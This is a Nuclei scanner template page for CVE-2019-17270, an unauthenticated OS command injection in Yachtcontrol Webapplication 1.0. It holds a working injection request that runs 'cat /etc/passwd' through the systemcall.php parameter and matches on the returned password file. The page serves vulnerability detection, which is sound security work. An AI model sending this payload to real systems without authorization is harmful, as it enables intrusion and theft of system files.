Yachtcontrol Webapplication 1.0 - Remote Command Injection

ID: CVE-2019-17270

Severity: critical

Author: pikpikcu

Tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm

Description

Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the “/pages/systemcall.php?command={COMMAND}” page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco’s.

YAML Source

id: CVE-2019-17270

info:
  name: Yachtcontrol Webapplication 1.0 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
    - http://packetstormsecurity.com/files/155582/Yachtcontrol-2019-10-06-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17270
    cwe-id: CWE-78
    epss-score: 0.93892
    epss-percentile: 0.99085
    cpe: cpe:2.3:a:yachtcontrol:yachtcontrol:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yachtcontrol
    product: yachtcontrol
  tags: cve,cve2019,rce,yachtcontrol,edb,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205bfa0dc1249a3de476c6aa77885385e0cb1da130667884dce13a2deadfe51a2702200321a1b310a784d993afbf46342727409c76604eb459f3601d5b45a0d1db2a06:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-17270.yaml"

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